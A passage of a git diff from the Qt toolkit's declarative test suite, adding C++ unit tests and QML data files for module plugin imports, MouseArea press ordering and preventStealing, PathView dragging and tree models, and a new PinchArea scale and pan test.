+ delete object;
+
+ foreach (QDeclarativeError err, component.errors())
+ qWarning() << err;
+ VERIFY_ERRORS(0);
+}
+
+// QTBUG-17324
+void tst_qdeclarativemoduleplugin::importsMixedQmlCppPlugin()
+{
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("data/importsMixedQmlCppPlugin.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toBool(), true);
+ delete o;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("data/importsMixedQmlCppPlugin.2.qml"));
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ delete o;
+ }
+
+
+}
+
+void tst_qdeclarativemoduleplugin::versionNotInstalled_data()
+{
+ QTest::addColumn<QString>("file");
+ QTest::addColumn<QString>("errorFile");
+
+ QTest::newRow("versionNotInstalled") << "data/versionNotInstalled.qml" << "versionNotInstalled.errors.txt";
+ QTest::newRow("versionNotInstalled") << "data/versionNotInstalled.2.qml" << "versionNotInstalled.2.errors.txt";
+}
+
+void tst_qdeclarativemoduleplugin::versionNotInstalled()
+{
+ QFETCH(QString, file);
+ QFETCH(QString, errorFile);
+
+ QDeclarativeEngine engine;
+ engine.addImportPath(QLatin1String(SRCDIR) + QDir::separator() + QLatin1String("imports"));
+
+ QDeclarativeComponent component(&engine, TEST_FILE(file));
+ VERIFY_ERRORS(errorFile.toLatin1().constData());
+}
+
QTEST_MAIN(tst_qdeclarativemoduleplugin)
#include "tst_qdeclarativemoduleplugin.moc"
diff --git a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro
index 2e8aa75..98cd472 100644
--- a/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro
+++ b/tests/auto/declarative/qdeclarativemoduleplugin/tst_qdeclarativemoduleplugin.pro
@@ -1,6 +1,9 @@
load(qttest_p4)
-SOURCES = tst_qdeclarativemoduleplugin.cpp
-QT += declarative
+
+HEADERS = ../shared/testhttpserver.h
+SOURCES = tst_qdeclarativemoduleplugin.cpp \
+ ../shared/testhttpserver.cpp
+QT += declarative network
CONFIG -= app_bundle
symbian: {
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
new file mode 100644
index 0000000..4a80e83
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/pressedOrdering.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+ property string value: "base"
+
+ MouseArea {
+ id: mouseArea
+ width: 200; height: 200
+ onClicked: toggleState.state = "toggled"
+ }
+
+ StateGroup {
+ states: State {
+ name: "pressed"
+ when: mouseArea.pressed
+ PropertyChanges { target: root; value: "pressed" }
+ }
+ }
+
+ StateGroup {
+ id: toggleState
+ states: State {
+ name: "toggled"
+ PropertyChanges { target: root; value: "toggled" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml b/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml
new file mode 100644
index 0000000..11553fa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativemousearea/data/preventstealing.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.1
+
+Flickable {
+ property bool stealing: true
+ width: 200
+ height: 200
+ contentWidth: 400
+ contentHeight: 400
+ Rectangle {
+ color: "black"
+ width: 400
+ height: 400
+ Rectangle {
+ x: 50; y: 50
+ width: 100; height: 100
+ color: "steelblue"
+ MouseArea {
+ objectName: "mousearea"
+ anchors.fill: parent
+ preventStealing: stealing
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
index 9d7cc05..e1c34fc 100644
--- a/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
+++ b/tests/auto/declarative/qdeclarativemousearea/tst_qdeclarativemousearea.cpp
@@ -43,8 +43,10 @@
#include <QtTest/QSignalSpy>
#include <private/qdeclarativemousearea_p.h>
#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativeflickable_p.h>
#include <QtDeclarative/qdeclarativeview.h>
#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeengine.h>
#ifdef Q_OS_SYMBIAN
// In Symbian OS test data is located in applications private dir
@@ -64,6 +66,10 @@ private slots:
void onMousePressRejected();
void doubleClick();
void clickTwice();
+ void pressedOrdering();
+ void preventStealing();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
private:
QDeclarativeView *createView();
@@ -355,6 +361,8 @@ void tst_QDeclarativeMouseArea::noOnClickedWithPressAndHold()
QVERIFY(!canvas->rootObject()->property("clicked").toBool());
QVERIFY(canvas->rootObject()->property("held").toBool());
+
+ delete canvas;
}
void tst_QDeclarativeMouseArea::onMousePressRejected()
@@ -398,6 +406,8 @@ void tst_QDeclarativeMouseArea::onMousePressRejected()
QVERIFY(canvas->rootObject()->property("mr1_released").toBool());
QVERIFY(!canvas->rootObject()->property("mr1_canceled").toBool());
QVERIFY(!canvas->rootObject()->property("mr2_released").toBool());
+
+ delete canvas;
}
void tst_QDeclarativeMouseArea::doubleClick()
@@ -435,6 +445,7 @@ void tst_QDeclarativeMouseArea::doubleClick()
QCOMPARE(canvas->rootObject()->property("doubleClicked").toInt(), 1);
QCOMPARE(canvas->rootObject()->property("released").toInt(), 2);
+ delete canvas;
}
// QTBUG-14832
@@ -475,6 +486,155 @@ void tst_QDeclarativeMouseArea::clickTwice()
QCOMPARE(canvas->rootObject()->property("pressed").toInt(), 2);
QCOMPARE(canvas->rootObject()->property("released").toInt(), 2);
QCOMPARE(canvas->rootObject()->property("clicked").toInt(), 2);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::pressedOrdering()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pressedOrdering.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("base"));
+
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent pressEvent(QEvent::GraphicsSceneMousePress);
+ pressEvent.setScenePos(QPointF(100, 100));
+ pressEvent.setButton(Qt::LeftButton);
+ pressEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
+
+ QGraphicsSceneMouseEvent releaseEvent(QEvent::GraphicsSceneMouseRelease);
+ releaseEvent.setScenePos(QPointF(100, 100));
+ releaseEvent.setButton(Qt::LeftButton);
+ releaseEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &releaseEvent);
+
+ QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("toggled"));
+
+ QApplication::sendEvent(scene, &pressEvent);
+
+ QCOMPARE(canvas->rootObject()->property("value").toString(), QLatin1String("pressed"));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::preventStealing()
+{
+ QDeclarativeView *canvas = createView();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/preventstealing.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativeFlickable *flickable = qobject_cast<QDeclarativeFlickable*>(canvas->rootObject());
+ QVERIFY(flickable != 0);
+
+ QDeclarativeMouseArea *mouseArea = canvas->rootObject()->findChild<QDeclarativeMouseArea*>("mousearea");
+ QVERIFY(mouseArea != 0);
+
+ QSignalSpy mousePositionSpy(mouseArea, SIGNAL(positionChanged(QDeclarativeMouseEvent*)));
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(80, 80)));
+
+ // Without preventStealing, mouse movement over MouseArea would
+ // cause the Flickable to steal mouse and trigger content movement.
+ QGraphicsScene *scene = canvas->scene();
+ QGraphicsSceneMouseEvent moveEvent(QEvent::GraphicsSceneMouseMove);
+ moveEvent.setScenePos(QPointF(70, 70));
+ moveEvent.setButton(Qt::LeftButton);
+ moveEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(60, 60));
+ moveEvent.setButton(Qt::LeftButton);
+ moveEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(50, 50));
+ moveEvent.setButton(Qt::LeftButton);
+ moveEvent.setButtons(Qt::LeftButton);
+ QApplication::sendEvent(scene, &moveEvent);
+
+ // We should have received all three move events
+ QCOMPARE(mousePositionSpy.count(), 3);
+ QVERIFY(mouseArea->pressed());
+
+ // Flickable content should not have moved.
+ QCOMPARE(flickable->contentX(), 0.);
+ QCOMPARE(flickable->contentY(), 0.);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50)));
+
+ // Now allow stealing and confirm Flickable does its thing.
+ canvas->rootObject()->setProperty("stealing", false);
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(80, 80)));
+
+ // Without preventStealing, mouse movement over MouseArea would
+ // cause the Flickable to steal mouse and trigger content movement.
+ moveEvent.setScenePos(QPointF(70, 70));
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(60, 60));
+ QApplication::sendEvent(scene, &moveEvent);
+
+ moveEvent.setScenePos(QPointF(50, 50));
+ QApplication::sendEvent(scene, &moveEvent);
+
+ // We should only have received the first move event
+ QCOMPARE(mousePositionSpy.count(), 4);
+ // Our press should be taken away
+ QVERIFY(!mouseArea->pressed());
+
+ // Flickable content should have moved.
+ QCOMPARE(flickable->contentX(), 10.);
+ QCOMPARE(flickable->contentY(), 10.);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(50, 50)));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeMouseArea::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; MouseArea { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; MouseArea { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativeMouseArea::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("preventStealing") << "preventStealing: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"MouseArea.preventStealing\" is not available in QtQuick 1.0.\n";
}
QTEST_MAIN(tst_QDeclarativeMouseArea)
diff --git a/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml b/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml
new file mode 100644
index 0000000..a361bdc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/dragpath.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+PathView {
+ width: 400
+ height: 200
+ model: 100
+ pathItemCount: 20
+ path: Path {
+ startX: 0; startY: 100
+ PathLine { x: 400; y: 100 }
+ }
+ delegate: Rectangle { height: 100; width: 1; color: PathView.isCurrentItem?"red" : "black" }
+ dragMargin: 100
+ preferredHighlightBegin: 0.5
+ preferredHighlightEnd: 0.5
+ Text {
+ text: "current index: " + parent.currentIndex
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml b/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml
new file mode 100644
index 0000000..56f7ae4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepathview/data/treemodel.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+
+PathView {
+ width: 320
+ height: 240
+ function setRoot(index) {
+ vdm.rootIndex = vdm.modelIndex(index);
+ }
+ model: VisualDataModel {
+ id: vdm
+ model: myModel
+ delegate: Text { objectName: "wrapper"; text: display }
+ }
+
+ path: Path {
+ startX: 0; startY: 120
+ PathLine { x: 320; y: 120 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp
index 23ae907..ebb5f98 100644
--- a/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp
+++ b/tests/auto/declarative/qdeclarativepathview/tst_qdeclarativepathview.cpp
@@ -53,6 +53,7 @@
#include <QtDeclarative/private/qdeclarativevaluetype_p.h>
#include <QAbstractListModel>
#include <QStringListModel>
+#include <QStandardItemModel>
#include <QFile>
#include "../../../shared/util.h"
@@ -62,6 +63,25 @@
#define SRCDIR "."
#endif
+static void initStandardTreeModel(QStandardItemModel *model)
+{
+ QStandardItem *item;
+ item = new QStandardItem(QLatin1String("Row 1 Item"));
+ model->insertRow(0, item);
+
+ item = new QStandardItem(QLatin1String("Row 2 Item"));
+ item->setCheckable(true);
+ model->insertRow(1, item);
+
+ QStandardItem *childItem = new QStandardItem(QLatin1String("Row 2 Child Item"));
+ item->setChild(0, childItem);
+
+ item = new QStandardItem(QLatin1String("Row 3 Item"));
+ item->setIcon(QIcon());
+ model->insertRow(2, item);
+}
+
+
class tst_QDeclarativePathView : public QObject
{
Q_OBJECT
@@ -89,6 +109,8 @@ private slots:
void pathUpdate();
void visualDataModel();
void undefinedPath();
+ void mouseDrag();
+ void treeModel();
private:
QDeclarativeView *createView();
@@ -867,6 +889,65 @@ void tst_QDeclarativePathView::undefinedPath()
delete obj;
}
+void tst_QDeclarativePathView::mouseDrag()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/dragpath.qml"));
+ canvas->show();
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+ QVERIFY(pathview != 0);
+
+ int current = pathview->currentIndex();
+
+ QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(10,100)));
+
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(30,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+ {
+ QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(90,100)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+ QApplication::sendEvent(canvas->viewport(), &mv);
+ }
+
+ QVERIFY(pathview->currentIndex() != current);
+
+ QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(40,100)));
+
+ delete canvas;
+}
+
+void tst_QDeclarativePathView::treeModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStandardItemModel model;
+ initStandardTreeModel(&model);
+ canvas->engine()->rootContext()->setContextProperty("myModel", &model);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/treemodel.qml"));
+
+ QDeclarativePathView *pathview = qobject_cast<QDeclarativePathView*>(canvas->rootObject());
+ QVERIFY(pathview != 0);
+ QCOMPARE(pathview->count(), 3);
+
+ QDeclarativeText *item = findItem<QDeclarativeText>(pathview, "wrapper", 0);
+ QVERIFY(item);
+ QCOMPARE(item->text(), QLatin1String("Row 1 Item"));
+
+ QVERIFY(QMetaObject::invokeMethod(pathview, "setRoot", Q_ARG(QVariant, 1)));
+ QCOMPARE(pathview->count(), 1);
+
+ QTRY_VERIFY(item = findItem<QDeclarativeText>(pathview, "wrapper", 0));
+ QTRY_COMPARE(item->text(), QLatin1String("Row 2 Child Item"));
+
+ delete canvas;
+}
+
QDeclarativeView *tst_QDeclarativePathView::createView()
{
QDeclarativeView *canvas = new QDeclarativeView(0);
diff --git a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml
new file mode 100644
index 0000000..0b59d9d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml
@@ -0,0 +1,46 @@
+import QtQuick 1.1
+Rectangle {
+ id: whiteRect
+ property variant center
+ property real scale
+ width: 240; height: 320
+ color: "white"
+ Rectangle {
+ id: blackRect
+ objectName: "blackrect"
+ color: "black"
+ y: 50
+ x: 50
+ width: 100
+ height: 100
+ opacity: (whiteRect.width-blackRect.x+whiteRect.height-blackRect.y-199)/200
+ Text { text: blackRect.opacity}
+ PinchArea {
+ id: pincharea
+ objectName: "pincharea"
+ anchors.fill: parent
+ pinch.target: blackRect
+ pinch.dragAxis: Drag.XandYAxis
+ pinch.minimumX: 0
+ pinch.maximumX: whiteRect.width-blackRect.width
+ pinch.minimumY: 0
+ pinch.maximumY: whiteRect.height-blackRect.height
+ pinch.minimumScale: 1.0
+ pinch.maximumScale: 2.0
+ pinch.minimumRotation: 0.0
+ pinch.maximumRotation: 90.0
+ onPinchStarted: {
+ whiteRect.center = pinch.center
+ whiteRect.scale = pinch.scale
+ }
+ onPinchUpdated: {
+ whiteRect.center = pinch.center
+ whiteRect.scale = pinch.scale
+ }
+ onPinchFinished: {
+ whiteRect.center = pinch.center
+ whiteRect.scale = pinch.scale
+ }
+ }
+ }
+ }
diff --git a/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro
new file mode 100644
index 0000000..2c13644
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/qdeclarativepincharea.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativepincharea.cpp
+
+symbian: {
+ importFiles.sources = data
+ importFiles.path = .
+ DEPLOYMENT = importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
new file mode 100644
index 0000000..f175033
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativepincharea/tst_qdeclarativepincharea.cpp
@@ -0,0 +1,315 @@
+/****************************************************************************
+**
+** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtTest/QSignalSpy>
+#include <private/qdeclarativepincharea_p.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_QDeclarativePinchArea: public QObject
+{
+ Q_OBJECT
+private slots:
+ void pinchProperties();
+ void scale();
+ void pan();
+
+private:
+ QDeclarativeView *createView();
+};
+
+void tst_QDeclarativePinchArea::pinchProperties()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QVERIFY(canvas->rootObject() != 0);
+
+ QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+ QDeclarativePinch *pinch = pinchArea->pinch();
+ QVERIFY(pinchArea != 0);
+ QVERIFY(pinch != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+ QVERIFY(blackRect == pinch->target());
+ QDeclarativeItem *rootItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(rootItem != 0);
+ QSignalSpy targetSpy(pinch, SIGNAL(targetChanged()));
+ pinch->setTarget(rootItem);
+ QCOMPARE(targetSpy.count(),1);
+ pinch->setTarget(rootItem);
+ QCOMPARE(targetSpy.count(),1);
+
+ // axis
+ QCOMPARE(pinch->axis(), QDeclarativePinch::XandYAxis);
+ QSignalSpy axisSpy(pinch, SIGNAL(dragAxisChanged()));
+ pinch->setAxis(QDeclarativePinch::XAxis);
+ QCOMPARE(pinch->axis(), QDeclarativePinch::XAxis);
+ QCOMPARE(axisSpy.count(),1);
+ pinch->setAxis(QDeclarativePinch::XAxis);
+ QCOMPARE(axisSpy.count(),1);
+
+ // minimum and maximum drag properties
+ QSignalSpy xminSpy(pinch, SIGNAL(minimumXChanged()));
+ QSignalSpy xmaxSpy(pinch, SIGNAL(maximumXChanged()));
+ QSignalSpy yminSpy(pinch, SIGNAL(minimumYChanged()));
+ QSignalSpy ymaxSpy(pinch, SIGNAL(maximumYChanged()));
+
+ QCOMPARE(pinch->xmin(), 0.0);
+ QCOMPARE(pinch->xmax(), rootItem->width()-blackRect->width());
+ QCOMPARE(pinch->ymin(), 0.0);
+ QCOMPARE(pinch->ymax(), rootItem->height()-blackRect->height());
+
+ pinch->setXmin(10);
+ pinch->setXmax(10);
+ pinch->setYmin(10);
+ pinch->setYmax(10);
+
+ QCOMPARE(pinch->xmin(), 10.0);
+ QCOMPARE(pinch->xmax(), 10.0);
+ QCOMPARE(pinch->ymin(), 10.0);
+ QCOMPARE(pinch->ymax(), 10.0);
+
+ QCOMPARE(xminSpy.count(),1);
+ QCOMPARE(xmaxSpy.count(),1);
+ QCOMPARE(yminSpy.count(),1);
+ QCOMPARE(ymaxSpy.count(),1);
+
+ pinch->setXmin(10);
+ pinch->setXmax(10);
+ pinch->setYmin(10);
+ pinch->setYmax(10);
+
+ QCOMPARE(xminSpy.count(),1);
+ QCOMPARE(xmaxSpy.count(),1);
+ QCOMPARE(yminSpy.count(),1);
+ QCOMPARE(ymaxSpy.count(),1);
+
+ // minimum and maximum scale properties
+ QSignalSpy scaleMinSpy(pinch, SIGNAL(minimumScaleChanged()));
+ QSignalSpy scaleMaxSpy(pinch, SIGNAL(maximumScaleChanged()));
+
+ QCOMPARE(pinch->minimumScale(), 1.0);
+ QCOMPARE(pinch->maximumScale(), 2.0);
+
+ pinch->setMinimumScale(0.5);
+ pinch->setMaximumScale(1.5);
+
+ QCOMPARE(pinch->minimumScale(), 0.5);
+ QCOMPARE(pinch->maximumScale(), 1.5);
+
+ QCOMPARE(scaleMinSpy.count(),1);
+ QCOMPARE(scaleMaxSpy.count(),1);
+
+ pinch->setMinimumScale(0.5);
+ pinch->setMaximumScale(1.5);
+
+ QCOMPARE(scaleMinSpy.count(),1);
+ QCOMPARE(scaleMaxSpy.count(),1);
+
+ // minimum and maximum rotation properties
+ QSignalSpy rotMinSpy(pinch, SIGNAL(minimumRotationChanged()));
+ QSignalSpy rotMaxSpy(pinch, SIGNAL(maximumRotationChanged()));
+
+ QCOMPARE(pinch->minimumRotation(), 0.0);
+ QCOMPARE(pinch->maximumRotation(), 90.0);
+
+ pinch->setMinimumRotation(-90.0);
+ pinch->setMaximumRotation(45.0);
+
+ QCOMPARE(pinch->minimumRotation(), -90.0);
+ QCOMPARE(pinch->maximumRotation(), 45.0);
+
+ QCOMPARE(rotMinSpy.count(),1);
+ QCOMPARE(rotMaxSpy.count(),1);
+
+ pinch->setMinimumRotation(-90.0);
+ pinch->setMaximumRotation(45.0);
+
+ QCOMPARE(rotMinSpy.count(),1);
+ QCOMPARE(rotMaxSpy.count(),1);
+
+ delete canvas;
+}
+
+QTouchEvent::TouchPoint makeTouchPoint(int id, QPoint p, QGraphicsView *v, QGraphicsItem *i)
+{
+ QTouchEvent::TouchPoint touchPoint(id);
+ touchPoint.setPos(i->mapFromScene(p));
+ touchPoint.setScreenPos(v->mapToGlobal(p));
+ touchPoint.setScenePos(p);
+ return touchPoint;
+}
+
+void tst_QDeclarativePinchArea::scale()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QTest::qWaitForWindowShown(canvas);
+ QVERIFY(canvas->rootObject() != 0);
+ qApp->processEvents();
+
+ QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+ QDeclarativePinch *pinch = pinchArea->pinch();
+ QVERIFY(pinchArea != 0);
+ QVERIFY(pinch != 0);
+
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(root != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+
+ QWidget *vp = canvas->viewport();
+
+ QPoint p1(80, 80);
+ QPoint p2(100, 100);
+
+ QTest::touchEvent(vp).press(0, p1);
+ QTest::touchEvent(vp).stationary(0).press(1, p2);
+ p1 -= QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("scale").toReal(), 1.0);
+
+ p1 -= QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("scale").toReal(), 1.5);
+ QCOMPARE(root->property("center").toPointF(), QPointF(40, 40)); // blackrect is at 50,50
+ QCOMPARE(blackRect->scale(), 1.5);
+
+ // scale beyond bound
+ p1 -= QPoint(50,50);
+ p2 += QPoint(50,50);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(blackRect->scale(), 2.0);
+
+ QTest::touchEvent(vp).release(0, p1).release(1, p2);
+
+ delete canvas;
+}
+
+void tst_QDeclarativePinchArea::pan()
+{
+ QDeclarativeView *canvas = createView();
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pinchproperties.qml"));
+ canvas->show();
+ canvas->setFocus();
+ QTest::qWaitForWindowShown(canvas);
+ QVERIFY(canvas->rootObject() != 0);
+ qApp->processEvents();
+
+ QDeclarativePinchArea *pinchArea = canvas->rootObject()->findChild<QDeclarativePinchArea*>("pincharea");
+ QDeclarativePinch *pinch = pinchArea->pinch();
+ QVERIFY(pinchArea != 0);
+ QVERIFY(pinch != 0);
+
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(root != 0);
+
+ // target
+ QDeclarativeItem *blackRect = canvas->rootObject()->findChild<QDeclarativeItem*>("blackrect");
+ QVERIFY(blackRect != 0);
+
+ QWidget *vp = canvas->viewport();
+
+ QPoint p1(80, 80);
+ QPoint p2(100, 100);
+
+ QTest::touchEvent(vp).press(0, p1);
+ QTest::touchEvent(vp).stationary(0).press(1, p2);
+ p1 += QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("scale").toReal(), 1.0);
+
+ p1 += QPoint(10,10);
+ p2 += QPoint(10,10);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(root->property("center").toPointF(), QPointF(60, 60)); // blackrect is at 50,50
+
+ QCOMPARE(blackRect->x(), 60.0);
+ QCOMPARE(blackRect->y(), 60.0);
+
+ // pan x beyond bound
+ p1 += QPoint(100,100);
+ p2 += QPoint(100,100);
+ QTest::touchEvent(vp).move(0, p1).move(1, p2);
+
+ QCOMPARE(blackRect->x(), 140.0);
+ QCOMPARE(blackRect->y(), 160.0);
+
+ QTest::touchEvent(vp).release(0, p1).release(1, p2);
+
+ delete canvas;
+}
+
+QDeclarativeView *tst_QDeclarativePinchArea::createView()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
